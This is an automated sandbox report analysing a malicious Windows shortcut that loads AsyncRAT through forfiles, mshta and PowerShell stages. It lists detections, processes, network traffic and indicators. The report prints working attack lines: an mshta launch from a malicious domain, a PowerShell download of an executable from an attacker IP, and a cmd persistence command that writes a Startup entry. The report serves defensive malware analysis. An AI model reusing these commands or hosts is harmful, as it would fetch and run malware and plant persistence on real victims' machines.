File name:

duyba.lnk.download

Full analysis: https://app.any.run/tasks/8081cf32-8e59-4b9b-be3b-2337299b1c63
Verdict: Malicious activity
Threats:

AsyncRAT is a RAT that can monitor and remotely control infected systems. This malware was introduced on Github as a legitimate open-source remote administration software, but hackers use it for its many powerful malicious functions.

Malware Trends Tracker     >>>
Analysis date: December 18, 2024, 08:15:05
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
emmenhtal
loader
autoit
rat
asyncrat
remote
stealer
Indicators:
MIME: application/x-ms-shortcut
File info: MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has command line arguments, Icon number=0, Unicoded, MachineID pnglcorhuymzqif KnownFolderID 1AC14E77-02E7-4E5D-B744-2EB1AE5198B7, Archive, ctime=Sat Dec 7 09:09:57 2019, atime=Sun Dec 15 11:07:21 2024, mtime=Sat Dec 7 09:09:57 2019, length=41472, window=showminnoactive, IDListSize 0x0145, Root folder "20D04FE0-3AEA-1069-A2D8-08002B30309D", Volume "C:\", LocalBasePath "C:\Windows\System32\forfiles.exe"
MD5:

AFC9A2EC3804784E238BEBA0FB861346

SHA1:

FCF72BA6B5031B3CDE13B6E09480F467BFCDE1A0

SHA256:

E3B166A6A0BB2F3041367773C47E195224A65E4BC6FB5B8E69A6E2309DB055C3

SSDEEP:

24:8N/cZsxY3K2TZpyAkkA+/44+4MlEPSL6w4pEQ5gipgi4abqyI+pu4EO:8a3Dt/MlEQ6viQRh4aey3w4d

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • EMMENHTAL loader has been detected

      • powershell.exe (PID: 6332)
      • forfiles.exe (PID: 6260)
      • powershell.exe (PID: 6932)

    • Changes powershell execution policy (Unrestricted)

      • mshta.exe (PID: 6580)

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 6932)

    • Uses AES cipher (POWERSHELL)

      • powershell.exe (PID: 6932)

    • Gets or sets the symmetric key that is used for encryption and decryption (POWERSHELL)

      • powershell.exe (PID: 6932)

    • Gets or sets the initialization vector for the symmetric algorithm (POWERSHELL)

      • powershell.exe (PID: 6932)

    • Downloads the requested resource (POWERSHELL)

      • powershell.exe (PID: 6932)
      • powershell.exe (PID: 6160)

    • Request from PowerShell that ran from MSHTA.EXE

      • powershell.exe (PID: 6932)

    • Bypass execution policy to execute commands

      • powershell.exe (PID: 6160)

    • Changes powershell execution policy (Bypass)

      • PefjSkkhb.exe (PID: 4120)

    • ASYNCRAT has been detected (SURICATA)

      • jsc.exe (PID: 6004)

    • Actions looks like stealing of personal data

      • jsc.exe (PID: 6004)

  • SUSPICIOUS

    • Searches and executes a command on selected files

      • forfiles.exe (PID: 6260)

    • Executable content was dropped or overwritten

      • mshta.exe (PID: 6580)
      • powershell.exe (PID: 6932)
      • powershell.exe (PID: 3092)
      • Guard.exe (PID: 5748)

    • Starts POWERSHELL.EXE for commands execution

      • forfiles.exe (PID: 6260)
      • mshta.exe (PID: 6580)
      • PefjSkkhb.exe (PID: 4120)

    • The process bypasses the loading of PowerShell profile settings

      • mshta.exe (PID: 6580)

    • Process drops legitimate windows executable

      • mshta.exe (PID: 6580)
      • Guard.exe (PID: 5748)

    • Executes script without checking the security policy

      • powershell.exe (PID: 6932)

    • Probably obfuscated PowerShell command line is found

      • mshta.exe (PID: 6580)

    • Cryptography encrypted command line is found

      • powershell.exe (PID: 6932)

    • Writes data into a file (POWERSHELL)

      • powershell.exe (PID: 6932)

    • Process requests binary or script from the Internet

      • powershell.exe (PID: 6932)

    • Potential Corporate Privacy Violation

      • powershell.exe (PID: 6932)
      • powershell.exe (PID: 3092)

    • Likely accesses (executes) a file from the Public directory

      • powershell.exe (PID: 3092)
      • powershell.exe (PID: 6160)
      • jsc.exe (PID: 6004)
      • Guard.exe (PID: 5748)

    • Found IP address in command line

      • powershell.exe (PID: 3092)

    • Gets or sets the security protocol (POWERSHELL)

      • powershell.exe (PID: 6932)

    • Downloads file from URI via Powershell

      • powershell.exe (PID: 3092)

    • Connects to the server without a host name

      • powershell.exe (PID: 3092)
      • powershell.exe (PID: 6160)

    • The process executes Powershell scripts

      • PefjSkkhb.exe (PID: 4120)

    • Starts the AutoIt3 executable file

      • powershell.exe (PID: 6160)

    • Starts a Microsoft application from unusual location

      • jsc.exe (PID: 6004)

    • Contacting a server suspected of hosting an CnC

      • jsc.exe (PID: 6004)

    • Uses sleep to delay execution (POWERSHELL)

      • powershell.exe (PID: 6160)

    • Connects to unusual port

      • jsc.exe (PID: 6004)

  • INFO

    • Reads the software policy settings

      • powershell.exe (PID: 6332)
      • jsc.exe (PID: 6004)

    • The sample compiled with english language support

      • mshta.exe (PID: 6580)
      • powershell.exe (PID: 6932)
      • powershell.exe (PID: 3092)
      • Guard.exe (PID: 5748)

    • Reads Internet Explorer settings

      • mshta.exe (PID: 6580)

    • Checks proxy server information

      • mshta.exe (PID: 6580)
      • powershell.exe (PID: 6160)

    • Gets data length (POWERSHELL)

      • powershell.exe (PID: 6932)

    • Disables trace logs

      • powershell.exe (PID: 6932)
      • powershell.exe (PID: 3092)
      • powershell.exe (PID: 6160)

    • The process uses the downloaded file

      • powershell.exe (PID: 6932)

    • Application launched itself

      • Acrobat.exe (PID: 1596)
      • AcroCEF.exe (PID: 5548)

    • Sends debugging messages

      • Acrobat.exe (PID: 3260)

    • The executable file from the user directory is run by the Powershell process

      • PefjSkkhb.exe (PID: 4120)

    • Checks supported languages

      • PefjSkkhb.exe (PID: 4120)

    • Reads mouse settings

      • PefjSkkhb.exe (PID: 4120)

    • Checks whether the specified file exists (POWERSHELL)

      • powershell.exe (PID: 6932)

    • Creates files or folders in the user directory

      • Guard.exe (PID: 5748)

    • Manual execution by a user

      • cmd.exe (PID: 3208)
      • jsc.exe (PID: 6004)

    • Reads the computer name

      • Guard.exe (PID: 5748)

    • Reads the machine GUID from the registry

      • jsc.exe (PID: 6004)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.lnk | Windows Shortcut (100)

EXIF

LNK

Flags: IDList, LinkInfo, RelativePath, CommandArgs, IconFile, Unicode
FileAttributes: Archive
CreateDate: 2019:12:07 09:09:57+00:00
AccessDate: 2024:12:15 11:07:21+00:00
ModifyDate: 2019:12:07 09:09:57+00:00
TargetFileSize: 41472
IconIndex: (none)
RunWindow: Show Minimized No Activate
HotKey: (none)
TargetFileDOSName: forfiles.exe
DriveType: Fixed Disk
DriveSerialNumber: 6454-AF2F
VolumeLabel: -
LocalBasePath: C:\Windows\System32\forfiles.exe
RelativePath: ..\..\..\..\Windows\System32\forfiles.exe
CommandLineArguments: /p C:\Windows\System32 /m cmmon32.exe /c "powershell . \*i*\*2\msh*e https://tiffany-careers.com/ghep2
IconFileName: shell32.dll
MachineID: pnglcorhuymzqif
No data.
screenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
158
Monitored processes
27
Malicious processes
8
Suspicious processes
0

Behavior graph

Click at the process to see the details
start #EMMENHTAL forfiles.exe no specs conhost.exe no specs #EMMENHTAL powershell.exe no specs mshta.exe #EMMENHTAL powershell.exe conhost.exe no specs acrobat.exe acrobat.exe no specs pefjskkhb.exe no specs powershell.exe conhost.exe no specs acrocef.exe no specs acrocef.exe no specs acrocef.exe no specs acrocef.exe acrocef.exe no specs acrocef.exe no specs acrocef.exe no specs acrocef.exe no specs acrocef.exe no specs powershell.exe conhost.exe no specs guard.exe cmd.exe no specs conhost.exe no specs acrocef.exe no specs #ASYNCRAT jsc.exe

Process information

PID
CMD
Path
Indicators
Parent process
1224"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=gpu-process --log-severity=disable --user-agent-product="ReaderServices/23.1.20093 Chrome/105.0.0.0" --lang=en-US --gpu-preferences=UAAAAAAAAADgACAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=disabled --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2752 --field-trial-handle=1648,i,6177384503652180373,14706881650462864639,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:2C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe—AcroCEF.exe
User:
admin
Company:
Adobe Systems Incorporated
Integrity Level:
LOW
Description:
Adobe AcroCEF
Version:
23.1.20093.0
Modules
Images
c:\program files\adobe\acrobat dc\acrobat\acrocef_1\acrocef.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
1596"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\admin\AppData\Roaming\Marketing.pdf"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
powershell.exe
User:
admin
Company:
Adobe Systems Incorporated
Integrity Level:
MEDIUM
Description:
Adobe Acrobat
Version:
23.1.20093.0
Modules
Images
c:\program files\adobe\acrobat dc\acrobat\acrobat.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
3040"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=renderer --log-severity=disable --user-agent-product="ReaderServices/23.1.20093 Chrome/105.0.0.0" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --touch-events=enabled --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=2696 --field-trial-handle=1648,i,6177384503652180373,14706881650462864639,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:1C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe—AcroCEF.exe
User:
admin
Company:
Adobe Systems Incorporated
Integrity Level:
LOW
Description:
Adobe AcroCEF
Exit code:
0
Version:
23.1.20093.0
Modules
Images
c:\program files\adobe\acrobat dc\acrobat\acrocef_1\acrocef.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
3092powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/kiiMf" -OutFile "C:\Users\Public\Guard.exe""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PefjSkkhb.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\atl.dll
c:\windows\system32\combase.dll
3208cmd /k echo [InternetShortcut] > "C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\admin\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exitC:\Windows\SysWOW64\cmd.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\combase.dll
3260"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" --type=renderer /prefetch:1 "C:\Users\admin\AppData\Roaming\Marketing.pdf"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe—Acrobat.exe
User:
admin
Company:
Adobe Systems Incorporated
Integrity Level:
LOW
Description:
Adobe Acrobat
Version:
23.1.20093.0
Modules
Images
c:\program files\adobe\acrobat dc\acrobat\acrobat.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
3652"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=renderer --log-severity=disable --user-agent-product="ReaderServices/23.1.20093 Chrome/105.0.0.0" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --touch-events=enabled --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=9 --mojo-platform-channel-handle=2968 --field-trial-handle=1648,i,6177384503652180373,14706881650462864639,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:1C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe—AcroCEF.exe
User:
admin
Company:
Adobe Systems Incorporated
Integrity Level:
LOW
Description:
Adobe AcroCEF
Version:
23.1.20093.0
Modules
Images
c:\program files\adobe\acrobat dc\acrobat\acrocef_1\acrocef.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
4120"C:\Users\admin\AppData\Roaming\PefjSkkhb.exe" C:\Users\admin\AppData\Roaming\PefjSkkhb.exe—powershell.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\admin\appdata\roaming\pefjskkhb.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\psapi.dll
c:\windows\system32\wsock32.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\gdi32.dll
5092"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=renderer --log-severity=disable --user-agent-product="ReaderServices/23.1.20093 Chrome/105.0.0.0" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --touch-events=enabled --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=10 --mojo-platform-channel-handle=3180 --field-trial-handle=1648,i,6177384503652180373,14706881650462864639,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:1C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe—AcroCEF.exe
User:
admin
Company:
Adobe Systems Incorporated
Integrity Level:
LOW
Description:
Adobe AcroCEF
Version:
23.1.20093.0
Modules
Images
c:\program files\adobe\acrobat dc\acrobat\acrocef_1\acrocef.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
5464"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=gpu-process --log-severity=disable --user-agent-product="ReaderServices/23.1.20093 Chrome/105.0.0.0" --lang=en-US --gpu-preferences=UAAAAAAAAADgACAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=1552 --field-trial-handle=1648,i,6177384503652180373,14706881650462864639,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:2C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe—AcroCEF.exe
User:
admin
Company:
Adobe Systems Incorporated
Integrity Level:
LOW
Description:
Adobe AcroCEF
Exit code:
0
Version:
23.1.20093.0
Modules
Images
c:\program files\adobe\acrobat dc\acrobat\acrocef_1\acrocef.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
Total events
39 015
Read events
38 907
Write events
106
Delete events
2

Modification events

(PID) Process:(6580) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
Operation:writeName:CachePrefix
Value:
(PID) Process:(6580) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(6580) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
(PID) Process:(6932) powershell.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.pdf\OpenWithProgids
Operation:writeName:Acrobat.Document.DC
Value:
(PID) Process:(1596) Acrobat.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-2034283098-2252572593-1072577386-2659511007-3245387615-27016815-3920691934
Operation:writeName:DisplayName
Value:
Adobe Acrobat Reader Protected Mode
(PID) Process:(3260) Acrobat.exeKey:HKEY_CURRENT_USER\SOFTWARE\Adobe\Adobe Acrobat\DC\ExitSection
Operation:writeName:bLastExitNormal
Value:
0
(PID) Process:(3260) Acrobat.exeKey:HKEY_CURRENT_USER\SOFTWARE\Adobe\Adobe Acrobat\DC\AVEntitlement
Operation:writeName:bSynchronizeOPL
Value:
0
(PID) Process:(3260) Acrobat.exeKey:HKEY_CURRENT_USER\SOFTWARE\Adobe\Adobe Acrobat\DC\AVGeneral
Operation:writeName:uLastAppLaunchTimeStamp
Value:
(PID) Process:(3260) Acrobat.exeKey:HKEY_CURRENT_USER\SOFTWARE\Adobe\Adobe Acrobat\DC\AVGeneral
Operation:writeName:iNumAcrobatLaunches
Value:
7
(PID) Process:(3260) Acrobat.exeKey:HKEY_CURRENT_USER\SOFTWARE\Adobe\Adobe Acrobat\DC\ToolsSearch
Operation:writeName:iSearchHintIndex
Value:
3
Executable files
6
Suspicious files
181
Text files
22
Unknown types
1

Dropped files

PID
Process
Filename
Type
6332powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_1qree5fk.dim.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6332powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_w1zk5ii4.1mj.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6580mshta.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751binary
MD5:3DFCA46E00FFA4795C72A41375F159D3
SHA256:DCBA1A505396539BAC40A7253C9F5DCCF06CBB79957E21D56305E1FC3AF5F40E
6932powershell.exeC:\Users\admin\AppData\Roaming\PefjSkkhb.exeexecutable
MD5:567DE19C0E7E3A1FC845E51AC1C1D5D8
SHA256:F1140750BA9FEAD0EF27B715D1BB2AE28864FE611068759F8EF4F8364AF559CB
3092powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_4nme03ei.kew.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6580mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\IE\RR3E01RZ\ghep2[1]executable
MD5:7F1392C63A92E5F06FA6F9F95F103CD9
SHA256:22B77AC7A5ABC7DF6BC21C1411121242E0A9F7179EF5DBBDDCE745AE04A13E21
1596Acrobat.exeC:\Users\admin\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lstps
MD5:366B140BAFC863B7E366AA1E51604759
SHA256:CBC8B288DBD2C72432081CF33CEF431572A94C7FB89DBCD59973B99E3871814E
3260Acrobat.exeC:\Users\admin\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3260ps
MD5:366B140BAFC863B7E366AA1E51604759
SHA256:CBC8B288DBD2C72432081CF33CEF431572A94C7FB89DBCD59973B99E3871814E
6932powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_mfhzrymk.yr3.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
3260Acrobat.exeC:\Users\admin\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTINGmp3
MD5:DC84B0D741E5BEAE8070013ADDCC8C28
SHA256:81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
13
TCP/UDP connections
44
DNS requests
26
Threats
9

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
—
—
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D
unknown
—
—
whitelisted
1176
svchost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
6932
powershell.exe
GET
200
147.45.49.155:80
http://tiffany-careers.com/Marketing.pdf
unknown
—
—
unknown
6932
powershell.exe
GET
200
147.45.49.155:80
http://tiffany-careers.com/PefjSkkhb.exe
unknown
—
—
unknown
5300
SIHClient.exe
GET
200
88.221.169.152:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
6472
backgroundTaskHost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D
unknown
—
—
whitelisted
5300
SIHClient.exe
GET
200
88.221.169.152:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
2892
svchost.exe
GET
200
2.23.197.184:80
http://x1.c.lencr.org/
unknown
—
—
whitelisted
1596
Acrobat.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAbY2QTVWENG9oovp1QifsQ%3D
unknown
—
—
whitelisted
6160
powershell.exe
GET
200
139.99.188.124:80
http://139.99.188.124/QWCheljD.txt
unknown
—
—
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3700
RUXIMICS.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
—
—
192.168.100.255:137
—
—
—
whitelisted
4712
MoUsoCoreWorker.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
68
svchost.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
5064
SearchApp.exe
2.21.110.139:443
www.bing.com
AKAMAI-AS
DE
whitelisted
—
—
192.229.221.95:80
ocsp.digicert.com
EDGECAST
US
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
1176
svchost.exe
40.126.31.71:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
1176
svchost.exe
192.229.221.95:80
ocsp.digicert.com
EDGECAST
US
whitelisted
6580
mshta.exe
147.45.49.155:443
tiffany-careers.com
OOO FREEnet Group
RU
unknown

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 40.127.240.158
  • 51.104.136.2
  • 51.124.78.146
whitelisted
google.com
  • 142.250.181.238
whitelisted
www.bing.com
  • 2.21.110.139
  • 2.21.110.146
whitelisted
ocsp.digicert.com
  • 192.229.221.95
whitelisted
login.live.com
  • 40.126.31.71
  • 20.190.159.23
  • 40.126.31.73
  • 20.190.159.4
  • 40.126.31.67
  • 20.190.159.71
  • 20.190.159.68
  • 20.190.159.64
  • 40.126.32.140
  • 40.126.32.134
  • 40.126.32.136
  • 40.126.32.133
  • 20.190.160.20
  • 40.126.32.74
  • 20.190.160.17
  • 40.126.32.138
whitelisted
tiffany-careers.com
  • 147.45.49.155
unknown
go.microsoft.com
  • 23.213.166.81
whitelisted
geo2.adobe.com
  • 184.28.88.176
whitelisted
p13n.adobe.io
  • 52.6.155.20
  • 3.219.243.226
  • 3.233.129.217
  • 52.22.41.97
whitelisted
crl.microsoft.com
  • 2.20.245.136
  • 2.20.245.134
  • 2.20.245.132
  • 2.20.245.135
  • 2.20.245.133
whitelisted

Threats

PID
Process
Class
Message
6932
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
6932
powershell.exe
Potentially Bad Traffic
ET INFO Embedded Executable File in PDF - This Program Cannot Be Run in DOS Mode
6932
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
3092
powershell.exe
Not Suspicious Traffic
ET INFO Windows Powershell User-Agent Usage
3092
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
3092
powershell.exe
Potentially Bad Traffic
ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response
6004
jsc.exe
Domain Observed Used for C2 Detected
ET MALWARE Generic AsyncRAT Style SSL Cert
6004
jsc.exe
Malware Command and Control Activity Detected
REMOTE [ANY.RUN] AsyncRAT Successful Connection
1 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2026 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
duyba.lnk.download